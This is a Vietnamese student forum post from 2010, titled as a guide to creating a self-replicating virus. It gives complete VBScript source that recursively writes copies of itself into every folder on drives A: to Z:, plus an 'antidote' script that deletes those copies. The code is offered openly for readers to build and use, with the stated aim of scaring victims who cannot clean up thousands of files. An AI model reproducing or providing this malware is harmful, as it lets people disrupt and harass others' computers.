Diễn đàn lớp 09CT1 - ĐH Chu Văn An
Mời bạn đăng ký để tham gia diễn đàn. Hãy giới thiệu cho bạn bè về diễn đàn của chúng tôi nhé. Chúc bạn có những giây phút vui vẻ và thoải mái.

Diễn đàn lớp 09CT1 - ĐH Chu Văn An


 
Trang ChínhTrang Chính  Đăng NhậpĐăng Nhập  Đăng kýĐăng ký  
Hướng dẫn sử dụng: Bạn chỉ cần bấm vào ở bên dưới rồi chọn file ảnh cần up lên.
Chú ý: Chỉ up được ảnh có dạng là .JPG .GIF hoặc .PNG

Copy dòng code Nhúng vào Forum để dán vào bài viết trong diễn đàn

Gửi bài mới Trả lời chủ đề này
Wed Oct 20, 2010 5:28 pm
avatar
Thành viên 09[CT]: - tm cô đơn
Chức vụ:
Chức vụ:
Tổng số bài gửi : 162
Tuổi : 27

Bài gửiTiêu đề: Tạo viruts tự nhân bản vào tất cả thư mục
http://09ct.forumvi.com

Ở phòng máy trường mình hiện có loại giống thế này oy.

Tác hại của con VR này:
- Nhân bản chính nó vào tất cả các thư mục của Windows, các thư mục trong ổ C:\ D:\ và E:\ và cả các thư mục con của nó. Nói chung là ổ cứng có bao nhiêu Folder thì con VR sẽ nhân bản lên bấy nhiêu lần và sau đó cho vào 1 Folder 1 bản.
Mục đích để thằng bị dính nó hoang mang lo sợ, muốn xóa cũng ko thể nào xóa hết đc. Làm sao có thể xóa được gần cả ngàn thư mục trong Windows? mà thư mục nào cũng có mặt Virus
Và tất nhiên là mình có kèm theo cả thuốc giải
Chạy File thuốc giải là coi như xong, như chưa có chuyện gì xảy ra vậy

Vào notepad gõ đoạn code sau
Mã:
Code:
'Thuoc Doc !!!
Dim fso,file,VBCopy
Set fso=CreateObject("Scripting.FileSystemObject")
Set file=fso.OpenTextFile(WScript.ScriptFullName,1)
VBCopy=file.ReadAll
FolderList("A:")
FolderList("B:")
FolderList("C:")
FolderList("D:")
FolderList("E:")
FolderList("F:")
FolderList("G:")
FolderList("H:")
FolderList("I:")
FolderList("J:")
FolderList("K:")
FolderList("L:")
FolderList("M:")
FolderList("N:")
FolderList("O:")
FolderList("P:")
FolderList("Q:")
FolderList("R:")
FolderList("S:")
FolderList("T:")
FolderList("U:")
FolderList("V:")
FolderList("X:")
FolderList("Y:")
FolderList("Z:")
FolderList("W:")

Sub FolderList(FolderSpec)
On Error Resume Next
Dim f,f1,sf,COP,CAP
Set f=fso.GetFolder(FolderSpec)
set sf=f.SubFolders
For Each f1 In sf
Set COP=fso.CreateTextFile(f1.path & "\Virus !!!!!!!.vbs")
COP.write VBCopy
Set CAP=fso.CreateTextFile(f1.path & "---Virus !!!!!!!.vbs")
CAP.write VBCopy
FolderList(f1.Path)
Next
End sub
save lại bằng tên tranngap.vbs


Đợi một lúc và làm tiếp thế này để thoát khỏi sự tràn nhập cả trong thư mục và desktop ^^

copy code sau vào notepad

Mã:
Code:
'Thuoc Giai
Dim fso,file,VBCopy
Set fso=CreateObject("Scripting.FileSystemObject")
Set file=fso.OpenTextFile(WScript.ScriptFullName,1)
VBCopy=file.ReadAll
FolderList("A:")
FolderList("B:")
FolderList("C:")
FolderList("D:")
FolderList("E:")
FolderList("F:")
FolderList("G:")
FolderList("H:")
FolderList("I:")
FolderList("J:")
FolderList("K:")
FolderList("L:")
FolderList("M:")
FolderList("N:")
FolderList("O:")
FolderList("P:")
FolderList("Q:")
FolderList("R:")
FolderList("S:")
FolderList("T:")
FolderList("U:")
FolderList("V:")
FolderList("X:")
FolderList("Y:")
FolderList("Z:")
FolderList("W:")
Sub FolderList(FolderSpec)
On Error Resume Next
Dim f,f1,sf,COP,CAP,ATT
Set f=fso.GetFolder(FolderSpec)
set sf=f.SubFolders
For Each f1 In sf
'Set COP=fso.CreateTextFile(f1.path & "\Virus !!!!!!!.vbs")
'COP.write VBCopy
'Set CAP=fso.CreateTextFile(f1.path & "---Virus !!!!!!!.vbs")
'CAP.write VBCopy
'Set ATT=fso.GetFolder(f1.Path)
'ATT.Attributes=ATT.Attributes+2
fso.DeleteFile(f1.path & "\Virus !!!!!!!.vbs")
fso.DeleteFile(f1.path & "---Virus !!!!!!!.vbs")
FolderList(f1.Path)
Next
End sub
Thế là có cả virus lẫn thuốc giải rồi nhé, đây là một loại virus đơn giản đầu tiên mà t giới thiêu, hehe, còn nhiều loại lắm muốn thử hết thì đợi xem nhé!





Tạo viruts tự nhân bản vào tất cả thư mụcXem chủ đề cũ hơn Xem chủ đề mới hơn Về Đầu Trang
Trang 1 trong tổng số 1 trang
* Viết tiếng Việt có dấu, là tôn trọng người đọc.
* Chia sẻ bài sưu tầm có ghi rõ nguồn, là tôn trọng người viết.
* Thực hiện những điều trên, là tôn trọng chính mình.
sv09ct.tk Không chịu trách nhiệm về bài viết của thành viên
Mọi chi tiết xin liên hệ: Y/M: Beboy_tcodon

Permissions in this forum:Bạn không có quyền trả lời bài viết
Diễn đàn lớp 09CT1 - ĐH Chu Văn An :: 

Mạng

 :: 

Hack - Bảo mật

-



Diễn đàn được xây dựng bởi các thành viên sv09ct.tk
Mọi chi tiết xin liên hệ: email: nguyentam@gmail.com
Y!M :
Powered by phpBB2
Copyright © 20010 - 2011
Skin Edit by TMcodon
Forumotion.com | © phpBB | Free forum support | Liên hệ | Report an abuse | Sosblogs.com